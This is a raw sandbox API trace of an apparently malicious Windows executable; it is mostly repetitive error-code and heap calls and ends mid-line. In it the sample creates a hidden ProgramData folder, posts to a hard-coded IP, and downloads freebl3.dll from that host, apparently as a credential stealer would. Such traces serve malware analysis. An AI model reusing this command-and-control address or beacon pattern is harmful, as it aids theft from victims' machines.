0x0 [0094.968] SetLastError (dwErrCode=0x0) [0094.968] GetLastError () returned 0x0 [0094.968] SetLastError (dwErrCode=0x0) [0094.968] GetLastError () returned 0x0 [0094.968] SetLastError (dwErrCode=0x0) [0094.968] GetLastError () returned 0x0 [0094.968] SetLastError (dwErrCode=0x0) [0094.968] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.969] GetLastError () returned 0x0 [0094.969] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.970] SetLastError (dwErrCode=0x0) [0094.970] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.971] GetLastError () returned 0x0 [0094.971] SetLastError (dwErrCode=0x0) [0094.975] GetLastError () returned 0x0 [0094.975] SetLastError (dwErrCode=0x0) [0094.975] GetLastError () returned 0x0 [0094.975] SetLastError (dwErrCode=0x0) [0094.979] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.980] SetLastError (dwErrCode=0x0) [0094.980] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111018 [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.981] SetLastError (dwErrCode=0x0) [0094.981] GetLastError () returned 0x0 [0094.982] SetLastError (dwErrCode=0x0) [0094.982] GetLastError () returned 0x0 [0094.982] SetLastError (dwErrCode=0x0) [0094.982] GetLastError () returned 0x0 [0094.982] SetLastError (dwErrCode=0x0) [0094.982] GetLastError () returned 0x0 [0094.982] SetLastError (dwErrCode=0x0) [0094.982] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110fd0 | out: hHeap=0x2110000) returned 1 [0094.986] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110fd0 [0094.986] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213"), lpSecurityAttributes=0x0) returned 1 [0095.032] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213")) returned 1 [0095.033] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111040 [0095.033] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files"), lpSecurityAttributes=0x0) returned 1 [0095.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.049] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x7a120) returned 0x3330048 [0095.059] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0095.063] GetLastError () returned 0x0 [0095.063] SetLastError (dwErrCode=0x0) [0095.067] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0095.067] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f624, dwBufferLength=0x4) returned 1 [0095.067] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0095.067] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0095.067] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1008", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0095.068] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x2111090 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0095.068] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111090 | out: hHeap=0x2110000) returned 1 [0095.068] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111090 [0095.068] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x21110c8 [0095.068] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111090 | out: hHeap=0x2110000) returned 1 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0095.068] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 25", dwHeadersLength=0x12, dwModifiers=0x20000000) returned 1 [0095.068] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x3330048*, dwOptionalLength=0x19) returned 1 [0095.307] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0 | out: lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0) returned 0 [0095.307] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x7800) returned 0x2112758 [0095.308] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2112758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x2112758*, lpdwNumberOfBytesRead=0x19f4a4*=0xba) returned 1 [0095.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2112812, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x2112812*, lpdwNumberOfBytesRead=0x19f4a4*=0x0) returned 1 [0095.308] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0 | out: lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0) returned 0 [0095.308] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0095.309] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110c8 | out: hHeap=0x2110000) returned 1 [0095.309] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0095.309] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0095.309] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0095.309] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.309] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc0) returned 0x2111040 [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.309] SetLastError (dwErrCode=0x0) [0095.309] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xb0) returned 0x2111108 [0095.310] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.310] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.310] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0095.310] GetLastError () returned 0x0 [0095.310] SetLastError (dwErrCode=0x0) [0095.310] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0095.310] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0095.310] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0095.310] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/freebl3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0095.310] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0095.310] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0095.310] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0095.310] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0095.310] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0095.310] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0095.310] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0095.344] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.344] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2112758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2112758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2112b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2112b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2112f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2112f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2113310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2113310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21136f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21136f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2113ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2113ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2113ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2113ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21142b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21142b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2114698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2114698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2114a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2114a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2114e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2114e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2115250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2115250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2115638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2115638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2115a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2115a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2115e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2115e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21161f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21161f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21165d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21165d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21169c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21169c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2116da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2116da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2117190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2117190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2117578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2117578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2117960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2117960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2117d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2117d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2118130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2118130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2118518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2118518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2118900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2118900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2118ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2118ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21190d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21190d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21194b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21194b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21198a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x21198a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.365] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf000) returned 0x33aa170 [0095.366] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112758 | out: hHeap=0x2110000) returned 1 [0095.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b16a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b16a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b1a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b1a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b1e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b1e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b2258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b2258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b2640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b2640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b2a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b2a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b2e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b2e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b31f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b31f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b35e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b35e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b39c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b39c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b3db0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b3db0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b4198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b4198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b4580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b4580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b4968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b4968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.383] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b4d50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b4d50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.386] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b5138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b5138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.386] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b5520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b5520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.386] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b5908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b5908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b5cf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b5cf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b60d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b60d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b64c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b64c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.387] InternetReadFile (in: hFile=0xcc000c, 